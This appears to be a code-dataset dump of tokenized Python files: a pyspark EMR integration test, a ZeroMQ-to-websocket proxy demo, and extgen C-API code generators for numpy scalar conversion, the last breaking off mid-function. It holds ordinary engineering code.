29898,
1228,
29892,
12146,
1125,
13,
9651,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
13,
4706,
736,
1583,
29889,
2962,
1275,
916,
29889,
2962,
322,
1583,
29889,
355,
1275,
916,
29889,
355,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
515,
29918,
29880,
1028,
29898,
25932,
29892,
3464,
29901,
12146,
29931,
1028,
29897,
1599,
525,
6069,
2396,
13,
4706,
736,
12146,
29898,
5228,
29889,
3166,
29918,
29880,
1028,
29898,
3881,
1839,
2962,
2033,
511,
8984,
29889,
3166,
29918,
29880,
1028,
29898,
3881,
1839,
355,
25901,
13,
13,
1678,
822,
304,
29918,
29880,
1028,
29898,
1311,
29897,
1599,
12146,
29931,
1028,
29901,
13,
4706,
736,
426,
13,
9651,
525,
2962,
2396,
1583,
29889,
2962,
29889,
517,
29918,
29880,
1028,
3285,
13,
9651,
525,
355,
2396,
1583,
29889,
355,
29889,
517,
29918,
29880,
1028,
580,
13,
4706,
500,
13,
13,
1678,
822,
3743,
29898,
1311,
29892,
1298,
29901,
8984,
29897,
1599,
6120,
29901,
13,
4706,
736,
1583,
29889,
2962,
29889,
798,
5277,
1298,
29889,
798,
5277,
1583,
29889,
355,
29889,
798,
322,
320,
13,
9651,
313,
1311,
29889,
355,
29889,
798,
1405,
1298,
29889,
798,
470,
1583,
29889,
2962,
29889,
1054,
5277,
1298,
29889,
1054,
5277,
1583,
29889,
355,
29889,
1054,
29897,
13,
13,
1678,
822,
25869,
29879,
29898,
1311,
29892,
364,
479,
29901,
525,
6069,
1495,
1599,
6120,
29901,
13,
4706,
736,
1583,
29889,
11516,
29898,
29878,
479,
29889,
2962,
29897,
470,
1583,
29889,
11516,
29898,
29878,
479,
29889,
355,
29897,
470,
320,
13,
9651,
364,
479,
29889,
11516,
29898,
1311,
29889,
2962,
29897,
470,
364,
479,
29889,
11516,
29898,
1311,
29889,
355,
29897,
13,
13,
1678,
822,
10985,
29898,
1311,
29892,
364,
479,
29901,
525,
6069,
1495,
1599,
525,
6069,
2396,
13,
4706,
9995,
13,
4706,
7338,
1975,
1857,
3464,
304,
8072,
3160,
1790,
3464,
29889,
960,
1790,
3464,
338,
2307,
8072,
13,
4706,
427,
15603,
2629,
278,
1857,
3464,
769,
3078,
3620,
29889,
13,
13,
4706,
584,
3207,
1678,
364,
479,
29901,
450,
5120,
304,
10985,
1857,
411,
13,
13,
4706,
584,
18280,
29901,
450,
10410,
5120,
313,
1169,
761,
29897,
13,
4706,
9995,
13,
4706,
565,
364,
479,
29889,
11516,
29898,
1311,
29889,
2962,
1125,
13,
9651,
1583,
29889,
2962,
353,
364,
479,
29889,
2962,
13,
4706,
565,
364,
479,
29889,
11516,
29898,
1311,
29889,
355,
1125,
13,
9651,
1583,
29889,
355,
353,
364,
479,
29889,
355,
13,
4706,
736,
1583,
13,
13,
13,
1990,
5244,
3493,
12924,
29901,
13,
13,
1678,
4770,
2536,
1862,
1649,
353,
6702,
978,
742,
525,
2084,
1495,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29901,
851,
29892,
2224,
29901,
851,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
4706,
1583,
29889,
2084,
353,
2224,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
515,
29918,
2084,
29898,
25932,
29892,
2224,
29901,
851,
29897,
1599,
525,
5531,
3493,
12924,
2396,
13,
4706,
736,
1067,
29879,
29898,
359,
29889,
2084,
29889,
6500,
3871,
29898,
2084,
29897,
470,
2224,
29892,
2224,
29897,
13,
13,
1678,
822,
4770,
8568,
12035,
1311,
29897,
1599,
938,
29901,
13,
4706,
736,
6608,
3552,
1311,
29889,
978,
29892,
1583,
29889,
2084,
876,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
29897,
1599,
851,
29901,
13,
4706,
736,
376,
8875,
877,
8875,
742,
525,
8875,
1495,
1642,
4830,
29898,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29892,
1583,
29889,
978,
29892,
1583,
29889,
2084,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
29897,
1599,
851,
29901,
13,
4706,
736,
1583,
29889,
2084,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
29901,
3139,
29897,
1599,
6120,
29901,
13,
4706,
565,
338,
8758,
29898,
1228,
29892,
5244,
3493,
12924,
1125,
13,
9651,
736,
1583,
29889,
978,
1275,
916,
29889,
978,
322,
1583,
29889,
2084,
1275,
916,
29889,
2084,
13,
4706,
736,
7700,
13,
13,
1678,
822,
304,
29918,
29880,
1028,
29898,
1311,
29897,
1599,
360,
919,
29961,
710,
29892,
851,
5387,
13,
4706,
736,
8853,
978,
1115,
1583,
29889,
978,
29892,
376,
5338,
1115,
1583,
29889,
5338,
28296,
13,
13,
1678,
822,
21333,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
736,
10422,
29918,
517,
29918,
5338,
29898,
1311,
29889,
2084,
29897,
13,
13,
1678,
822,
7805,
29918,
5338,
29898,
1311,
29892,
21333,
29901,
851,
29897,
1599,
6120,
29901,
13,
4706,
736,
21333,
29889,
27382,
2541,
29898,
1311,
29889,
5338,
3101,
13,
2
] |
integration.py | robtucker/pyspark-tooling | 0 | 103887 | import os
from pyspark_tooling.emr import EMR
from pyspark_tooling.timestamp import format_timestamp, utcnow
class IntegrationTest:
def __init__(self):
self.bucket = os.environ["INTEGRATION_TEST_BUCKET"]
self.folder = f"landing_timestamp={format_timestamp(utcnow())}"
self.s3_path = f"s3://{bucket}/{folder}"
def pipeline(self):
self.create_scripts()
self.run_cluster()
def create_scripts(self):
self.copy_main_file()
self.copy_code_bundle()
self.copy_requirements()
self.copy_bootstrap()
def run_cluster():
emr = EMR.from_defaults(
cluster_name="integration_test_cluster",
code_path=f"{s3_path}/main.py",
log_uri=f"{s3_path}/logs",
minimum_memory_in_gb=32,
minimum_vcpu=12,
)
emr.run(sync=True)
| [
1,
1053,
2897,
13,
3166,
282,
952,
6378,
29918,
10154,
292,
29889,
331,
29878,
1053,
382,
21055,
13,
3166,
282,
952,
6378,
29918,
10154,
292,
29889,
16394,
1053,
3402,
29918,
16394,
29892,
3477,
29883,
3707,
13,
13,
13,
1990,
17100,
362,
3057,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
21454,
353,
2897,
29889,
21813,
3366,
1177,
4330,
14345,
8098,
29918,
18267,
29918,
7838,
7077,
2544,
3108,
13,
4706,
1583,
29889,
12083,
353,
285,
29908,
1049,
292,
29918,
16394,
3790,
4830,
29918,
16394,
29898,
329,
29883,
3707,
580,
2915,
29908,
13,
4706,
1583,
29889,
29879,
29941,
29918,
2084,
353,
285,
29908,
29879,
29941,
597,
29912,
21454,
6822,
29912,
12083,
5038,
13,
13,
1678,
822,
16439,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3258,
29918,
16713,
580,
13,
4706,
1583,
29889,
3389,
29918,
19594,
580,
13,
13,
1678,
822,
1653,
29918,
16713,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8552,
29918,
3396,
29918,
1445,
580,
13,
4706,
1583,
29889,
8552,
29918,
401,
29918,
16718,
580,
13,
4706,
1583,
29889,
8552,
29918,
12277,
1860,
580,
13,
4706,
1583,
29889,
8552,
29918,
8704,
580,
13,
13,
1678,
822,
1065,
29918,
19594,
7295,
13,
13,
4706,
953,
29878,
353,
382,
21055,
29889,
3166,
29918,
4381,
29879,
29898,
13,
9651,
9867,
29918,
978,
543,
27925,
29918,
1688,
29918,
19594,
613,
13,
9651,
775,
29918,
2084,
29922,
29888,
29908,
29912,
29879,
29941,
29918,
2084,
6822,
3396,
29889,
2272,
613,
13,
9651,
1480,
29918,
5338,
29922,
29888,
29908,
29912,
29879,
29941,
29918,
2084,
6822,
20756,
613,
13,
9651,
9212,
29918,
14834,
29918,
262,
29918,
26300,
29922,
29941,
29906,
29892,
13,
9651,
9212,
29918,
7071,
3746,
29922,
29896,
29906,
29892,
13,
4706,
1723,
13,
13,
4706,
953,
29878,
29889,
3389,
29898,
16593,
29922,
5574,
29897,
13,
2
] |
demos/websocketproxy/wsproxy.py | AutonomyLab/drums | 0 | 59517 | # -*- coding: utf-8 -*-
__version__ = "0.1.0"
version_info = tuple([int(num) for num in __version__.split('.')])
import os
import gevent
import zmq.green as zmq
from geventwebsocket.handler import WebSocketHandler
import paste.urlparser
import msgpack
import json
def main():
'''Set up zmq context and greenlets for all the servers, then launch the web
browser and run the data producer'''
context = zmq.Context()
# zeromq: tcp to inproc gateway
job_zmq = gevent.spawn(zmq_server, context)
# websocket server: copies inproc zmq messages to websocket
ws_server = gevent.pywsgi.WSGIServer(
('', 8004), WebSocketApp(context),
handler_class=WebSocketHandler)
http_server = gevent.pywsgi.WSGIServer(
('', 8003),
paste.urlparser.StaticURLParser(os.path.dirname(__file__)))
ws_server.start()
http_server.start()
try:
job_zmq.join()
except KeyboardInterrupt:
job_zmq.kill()
ws_server.kill()
def zmq_server(context):
'''Funnel messages coming from the external tcp socket to an inproc socket'''
sock_incoming = context.socket(zmq.SUB)
sock_incoming.setsockopt(zmq.SUBSCRIBE, "")
sock_incoming.connect('tcp://localhost:8002')
sock_outgoing = context.socket(zmq.PUB)
sock_outgoing.bind('inproc://queue')
while True:
msg = sock_incoming.recv()
sock_outgoing.send(json.dumps(msgpack.loads(msg)))
gevent.sleep(0.05)
class WebSocketApp(object):
'''Funnel messages coming from an inproc zmq socket to the websocket'''
def __init__(self, context):
self.context = context
def __call__(self, environ, start_response):
ws = environ['wsgi.websocket']
sock = self.context.socket(zmq.SUB)
sock.setsockopt(zmq.SUBSCRIBE, "")
sock.connect('inproc://queue')
while True:
msg = sock.recv()
ws.send(msg)
if __name__ == '__main__':
main()
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
1649,
3259,
1649,
353,
376,
29900,
29889,
29896,
29889,
29900,
29908,
13,
3259,
29918,
3888,
353,
18761,
4197,
524,
29898,
1949,
29897,
363,
954,
297,
4770,
3259,
26914,
5451,
12839,
1495,
2314,
13,
13,
5215,
2897,
13,
5215,
1737,
794,
13,
5215,
12162,
29939,
29889,
12692,
408,
12162,
29939,
13,
3166,
1737,
794,
2676,
11514,
29889,
13789,
1053,
2563,
11373,
4598,
13,
5215,
11417,
29889,
2271,
16680,
13,
13,
5215,
10191,
4058,
13,
5215,
4390,
13,
13,
1753,
1667,
7295,
13,
1678,
14550,
2697,
701,
12162,
29939,
3030,
322,
7933,
10376,
363,
599,
278,
12424,
29892,
769,
6826,
278,
1856,
13,
1678,
4714,
322,
1065,
278,
848,
14297,
12008,
13,
1678,
3030,
353,
12162,
29939,
29889,
2677,
580,
13,
13,
1678,
396,
503,
261,
290,
29939,
29901,
22729,
304,
297,
15439,
28646,
13,
1678,
4982,
29918,
14018,
29939,
353,
1737,
794,
29889,
1028,
18101,
29898,
14018,
29939,
29918,
2974,
29892,
3030,
29897,
13,
13,
1678,
396,
1856,
11514,
1923,
29901,
14591,
297,
15439,
12162,
29939,
7191,
304,
1856,
11514,
13,
1678,
16904,
29918,
2974,
353,
1737,
794,
29889,
2272,
5652,
3146,
29889,
7811,
29954,
29902,
6004,
29898,
13,
539,
6702,
742,
29871,
29947,
29900,
29900,
29946,
511,
2563,
11373,
2052,
29898,
4703,
511,
13,
539,
7834,
29918,
1990,
29922,
3609,
11373,
4598,
29897,
13,
13,
1678,
1732,
29918,
2974,
353,
1737,
794,
29889,
2272,
5652,
3146,
29889,
7811,
29954,
29902,
6004,
29898,
13,
4706,
6702,
742,
29871,
29947,
29900,
29900,
29941,
511,
13,
4706,
11417,
29889,
2271,
16680,
29889,
17046,
4219,
11726,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
4961,
13,
13,
1678,
16904,
29918,
2974,
29889,
2962,
580,
13,
1678,
1732,
29918,
2974,
29889,
2962,
580,
13,
13,
1678,
1018,
29901,
13,
4706,
4982,
29918,
14018,
29939,
29889,
7122,
580,
13,
1678,
5174,
7670,
3377,
4074,
6685,
29901,
13,
4706,
4982,
29918,
14018,
29939,
29889,
21174,
580,
13,
4706,
16904,
29918,
2974,
29889,
21174,
580,
13,
13,
13,
1753,
12162,
29939,
29918,
2974,
29898,
4703,
1125,
13,
1678,
14550,
29943,
16163,
7191,
6421,
515,
278,
7029,
22729,
9909,
304,
385,
297,
15439,
9909,
12008,
13,
1678,
577,
384,
29918,
262,
11506,
353,
3030,
29889,
11514,
29898,
14018,
29939,
29889,
20633,
29897,
13,
1678,
577,
384,
29918,
262,
11506,
29889,
842,
21852,
3670,
29898,
14018,
29939,
29889,
20633,
7187,
3960,
15349,
29892,
20569,
13,
1678,
577,
384,
29918,
262,
11506,
29889,
6915,
877,
23981,
597,
7640,
29901,
29947,
29900,
29900,
29906,
1495,
13,
13,
1678,
577,
384,
29918,
449,
17696,
353,
3030,
29889,
11514,
29898,
14018,
29939,
29889,
7056,
29933,
29897,
13,
1678,
577,
384,
29918,
449,
17696,
29889,
5355,
877,
262,
15439,
597,
9990,
1495,
13,
13,
1678,
1550,
5852,
29901,
13,
4706,
10191,
353,
577,
384,
29918,
262,
11506,
29889,
3757,
29894,
580,
13,
4706,
577,
384,
29918,
449,
17696,
29889,
6717,
29898,
3126,
29889,
29881,
17204,
29898,
7645,
4058,
29889,
18132,
29898,
7645,
4961,
13,
4706,
1737,
794,
29889,
17059,
29898,
29900,
29889,
29900,
29945,
29897,
13,
13,
13,
1990,
2563,
11373,
2052,
29898,
3318,
1125,
13,
1678,
14550,
29943,
16163,
7191,
6421,
515,
385,
297,
15439,
12162,
29939,
9909,
304,
278,
1856,
11514,
12008,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3030,
1125,
13,
4706,
1583,
29889,
4703,
353,
3030,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
12471,
29892,
1369,
29918,
5327,
1125,
13,
4706,
16904,
353,
12471,
1839,
5652,
3146,
29889,
2676,
11514,
2033,
13,
4706,
577,
384,
353,
1583,
29889,
4703,
29889,
11514,
29898,
14018,
29939,
29889,
20633,
29897,
13,
4706,
577,
384,
29889,
842,
21852,
3670,
29898,
14018,
29939,
29889,
20633,
7187,
3960,
15349,
29892,
20569,
13,
4706,
577,
384,
29889,
6915,
877,
262,
15439,
597,
9990,
1495,
13,
4706,
1550,
5852,
29901,
13,
9651,
10191,
353,
577,
384,
29889,
3757,
29894,
580,
13,
9651,
16904,
29889,
6717,
29898,
7645,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
extgen/capi.py | maedoc/inducer-f2py | 57 | 171823 | <filename>extgen/capi.py
from __future__ import absolute_import
import numpy
implementation = dict()
typedefs = dict()
macros = dict()
typedefs['npy_unicode'] = dict(\
code = 'typedef struct { Py_UNICODE* data; Py_ssize_t size; } npy_unicode;')
typedefs['npy_string'] = dict(\
code = 'typedef struct { char* data; Py_ssize_t size; } npy_string;')
macros['IS_VALID_INIT'] = dict(\
code = '''\
#define IS_VALID_INIT(pyctype, name, name_str) \\
(name != NULL) {\\
if ((PyObject_IsInstance(name, (PyObject*)pyctype)==1) \\
&& (!PyDict_SetItemString(capi_locals, name_str, name)))'''
)
macros['SET_EXCEPTION_INIT'] = dict(\
code = '''\
#define SET_EXCEPTION_INIT(pyctype, name, name_str, init_str) \\
if (!PyErr_Occurred()) { \\
PyObject* r = PyString_FromString("expected "); \\
PyString_ConcatAndDel(&r, PyObject_Repr((PyObject*)pyctype)); \\
PyString_ConcatAndDel(&r, PyString_FromString(" object while initializing " name_str ", got ")); \\
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(name))); \\
PyString_ConcatAndDel(&r, PyString_FromString(" object from `" init_str "`")); \\
PyErr_SetObject(PyExc_TypeError,r);\\
} \\
Py_DECREF(name); \\
}'''
)
sctypebits = dict(
Int = [8, 16, 32, 64, 128, 256],
UInt = [8, 16, 32, 64, 128, 256],
Float = [16, 32, 64, 80, 96, 128, 256],
Complex = [32, 64, 128, 160, 192, 256, 512],
)
template_to_npy_scalar = '''
static int pyobj_to_%(ctype)s(PyObject* obj, %(ctype)s* ptr) {
int return_value = 0;
if (PyArray_IsScalar(obj, %(Cls)s)) {
*ptr = (%(ctype)s)PyArrayScalar_VAL(obj,%(Cls)s);
return_value = 1;
} else if (PySequence_Check(obj)) {
if (PySequence_Size(obj)==1)
return_value = pyobj_to_%(ctype)s(PySequence_GetItem(obj,0), ptr);
} else {
PyObject* sc = Py%(Cls)sArrType_Type.tp_new(
&Py%(Cls)sArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_%(ctype)s(sc, ptr);
else
return_value = pyobj_to_%(ctype)s(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C %(ctype)s"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
'''
template_from_npy_scalar = '''
static PyObject* pyobj_from_%(ctype)s(%(ctype)s* value) {
PyObject* obj = PyArrayScalar_New(%(Cls)s);
if (obj==NULL) /* TODO: set exception */ return NULL;
PyArrayScalar_ASSIGN(obj,%(Cls)s,*value);
return obj;
}
'''
template_to_npy_complex_scalar = '''
static int pyobj_to_%(ctype)s(PyObject* obj, %(ctype)s* ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj,%(Cls)s)) {
ptr->real = PyArrayScalar_VAL(obj,%(Cls)s).real;
ptr->imag = PyArrayScalar_VAL(obj,%(Cls)s).imag;
return_value = 1;
}
else if (PySequence_Check(obj)) {
if (PySequence_Size(obj)==1)
return_value = pyobj_to_%(ctype)s(PySequence_GetItem(obj,0),ptr);
else if (PySequence_Size(obj)==2) {
return_value = pyobj_to_%(fctype)s(PySequence_GetItem(obj,0),&(ptr->real))
&& pyobj_to_%(fctype)s(PySequence_GetItem(obj,1),&(ptr->imag));
}
} else {
PyObject* sc = Py%(Cls)sArrType_Type.tp_new(
&Py%(Cls)sArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_%(ctype)s(sc, ptr);
else
return_value = pyobj_to_%(ctype)s(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C %(ctype)s"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
'''
template_from_npy_complex_scalar = '''
static PyObject* pyobj_from_%(ctype)s(%(ctype)s* value) {
PyObject* obj = PyArrayScalar_New(%(Cls)s);
if (obj==NULL) /* TODO: set exception */ return NULL;
PyArrayScalar_ASSIGN(obj,%(Cls)s,*value);
return obj;
}
'''
template_to_numpy_scalar = '''
static int pyobj_to_%(ctype_name)s(PyObject* obj, %(ctype)s* ptr) {
int return_value = 0;
if (PyArray_IsScalar(obj, %(Cls)s)) {
*ptr = (%(ctype)s)obj;
return_value = 1;
} else if (PySequence_Check(obj)) {
if (PySequence_Size(obj)==1)
return_value = pyobj_to_%(ctype_name)s(PySequence_GetItem(obj,0), ptr);
} else {
PyObject* sc = Py%(Cls)sArrType_Type.tp_new(
&Py%(Cls)sArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_%(ctype_name)s(sc, ptr);
else
return_value = pyobj_to_%(ctype_name)s(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C %(ctype)s"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
'''
template_to_numpy_complex_scalar = '''
static int pyobj_to_%(ctype_name)s(PyObject* obj, %(ctype)s* ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj,%(Cls)s)) {
*ptr = (%(ctype)s)obj;
return_value = 1;
}
else if (PySequence_Check(obj)) {
if (PySequence_Size(obj)==1)
return_value = pyobj_to_%(ctype_name)s(PySequence_GetItem(obj,0),ptr);
else if (PySequence_Size(obj)==2) {
%(fctype)s r = (%(fctype)s)PyArrayScalar_New(%(FCls)s);
if (r!=NULL) {
%(fctype)s i = (%(fctype)s)PyArrayScalar_New(%(FCls)s);
if (i!=NULL) {
return_value = pyobj_to_%(fctype_name)s(PySequence_GetItem(obj,0),&r)
&& pyobj_to_%(fctype_name)s(PySequence_GetItem(obj,1),&i);
if (return_value) {
*ptr = (%(ctype)s)PyArrayScalar_New(%(Cls)s);
if (*ptr!=NULL) {
PyArrayScalar_VAL(*ptr, %(Cls)s).real = PyArrayScalar_VAL(r, %(FCls)s);
PyArrayScalar_VAL(*ptr, %(Cls)s).imag = PyArrayScalar_VAL(i, %(FCls)s);
} else {
return_value = 0;
}
}
Py_DECREF(i);
}
Py_DECREF(r);
}
}
} else {
PyObject* sc = Py%(Cls)sArrType_Type.tp_new(
&Py%(Cls)sArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_%(ctype_name)s(sc, ptr);
else
return_value = pyobj_to_%(ctype_name)s(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C %(ctype)s"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
'''
for Cls_name, bits_list in list(sctypebits.items()):
for bits in bits_list:
n = Cls_name.lower() + str(bits)
Cls = Cls_name + str(bits)
ctype = 'npy_' + n
fn = 'float' + str(bits/2)
FCls = 'Float' + str(bits/2)
fctype = 'npy_' + fn
m = dict(ctype=ctype, Cls=Cls, fctype=fctype)
for k in ['to', 'from']:
depends = []
if Cls_name=='Complex':
code = eval('template_'+k+'_npy_complex_scalar') % m
if k=='to':
depends = ['pyobj_'+k+'_npy_'+fn]
else:
code = eval('template_'+k+'_npy_scalar') % m
implementation['pyobj_'+k+'_'+ctype] = dict(
code = code,
depends = depends,
)
ctype = 'Py%sScalarObject*' % (Cls)
ctype_name = 'numpy_' + n
fn = 'float' + str(bits/2)
FCls = 'Float' + str(bits/2)
fctype = 'Py%sScalarObject*' % (FCls)
fctype_name = 'numpy_' + fn
m = dict(ctype=ctype, ctype_name=ctype_name,
Cls=Cls, fctype=fctype, FCls=FCls,
fctype_name=fctype_name)
if Cls_name=='Complex':
code = template_to_numpy_complex_scalar % m
depends = ['pyobj_to_'+fctype_name]
else:
code = template_to_numpy_scalar % m
depends = []
implementation['pyobj_to_'+ctype_name] = dict(
code = code,
depends = depends,
)
implementation['pyobj_to_npy_bool'] = dict(\
code = '''\
static int pyobj_to_npy_bool(PyObject *obj, npy_bool* ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj, Bool)) {
*ptr = PyArrayScalar_VAL(obj, Bool);
return_value = 1;
} else {
switch (PyObject_IsTrue(obj)) {
case 0: *ptr = 0; return_value = 1; break;
case -1: break;
default: *ptr = 1; return_value = 1;
}
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C npy_bool"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}''')
implementation['pyobj_from_npy_bool'] = dict(\
code = '''\
static PyObject* pyobj_from_npy_bool(npy_bool* ptr) {
if (*ptr) {
PyArrayScalar_RETURN_TRUE;
} else {
PyArrayScalar_RETURN_FALSE;
}
}''')
implementation['pyobj_to_numpy_bool'] = dict(\
code = '''\
static int pyobj_to_numpy_bool(PyObject *obj, PyBoolScalarObject** ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj, Bool)) {
*ptr = (PyBoolScalarObject*)obj;
return_value = 1;
} else {
switch (PyObject_IsTrue(obj)) {
case 0: *ptr = (PyBoolScalarObject*)PyArrayScalar_False; return_value = 1; break;
case -1: break;
default: *ptr = (PyBoolScalarObject*)PyArrayScalar_True; return_value = 1;
}
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C PyBoolScalarObject*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}''')
implementation['pyobj_to_char_ptr'] = dict(\
code = '''\
static int pyobj_to_char_ptr(PyObject *obj, char* * ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyString_Check(obj)) {
Py_ssize_t l = 1+PyString_GET_SIZE(obj);
*ptr = malloc(l*sizeof(char));
return_value = !! strncpy(*ptr,PyString_AS_STRING(obj),l);
} else {
return_value = pyobj_to_char_ptr(PyObject_Str(obj), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C char*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}''')
implementation['clean_pyobj_to_char_ptr'] = dict(\
code = '''\
static void clean_pyobj_to_char_ptr(char* * ptr) {
if ((*ptr) != NULL) {
free(*ptr);
}
}''')
implementation['pyobj_to_npy_string'] = dict(\
code = '''\
static int pyobj_to_npy_string(PyObject *obj, npy_string *ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj, String)) {
Py_ssize_t l = 1+PyString_GET_SIZE(obj);
ptr->data = malloc(l*sizeof(char));
ptr->size = l-1;
return_value = !! strncpy(ptr->data,PyString_AS_STRING(obj),l);
} else {
PyObject* sc = PyStringArrType_Type.tp_new(
&PyStringArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_npy_string(sc, ptr);
else
return_value = pyobj_to_npy_string(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C char*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}''')
implementation['clean_pyobj_to_npy_string'] = dict(\
code = '''\
static void clean_pyobj_to_npy_string(npy_string *ptr) {
if ((ptr->data) != NULL) {
free(ptr->data);
ptr->size = 0;
}
}
''')
implementation['pyobj_from_npy_string'] = dict(\
code = '''\
static PyObject* pyobj_from_npy_string(npy_string *ptr) {
PyObject* sc = PyStringArrType_Type.tp_new(
&PyStringArrType_Type,Py_BuildValue("(O)",
PyString_FromStringAndSize(ptr->data, ptr->size)),NULL);
return sc;
}''')
implementation['pyobj_to_numpy_string'] = dict(\
code = '''\
static int pyobj_to_numpy_string(PyObject *obj, PyStringScalarObject** ptr) {
int return_value = 0;
if (PyArray_IsScalar(obj, String)) {
*ptr = (PyStringScalarObject*)obj;
return_value = 1;
} else {
PyObject* sc = PyStringArrType_Type.tp_new(
&PyStringArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_numpy_string(sc, ptr);
else
return_value = pyobj_to_numpy_string(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C PyStringScalarObject*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
''')
implementation['pyobj_to_numpy_unicode'] = dict(\
code = '''\
static int pyobj_to_numpy_unicode(PyObject *obj, PyUnicodeScalarObject** ptr) {
int return_value = 0;
if (PyArray_IsScalar(obj, Unicode)) {
*ptr = (PyUnicodeScalarObject*)obj;
return_value = 1;
} else {
PyObject* sc = PyUnicodeArrType_Type.tp_new(
&PyUnicodeArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_numpy_unicode(sc, ptr);
else
return_value = pyobj_to_numpy_unicode(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C PyUnicodeScalarObject*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
''')
implementation['pyobj_to_npy_unicode'] = dict(\
code = '''\
static int pyobj_to_npy_unicode(PyObject *obj, npy_unicode * ptr) {
int return_value = 0;
if (obj==NULL) ;
else if (PyArray_IsScalar(obj, Unicode)) {
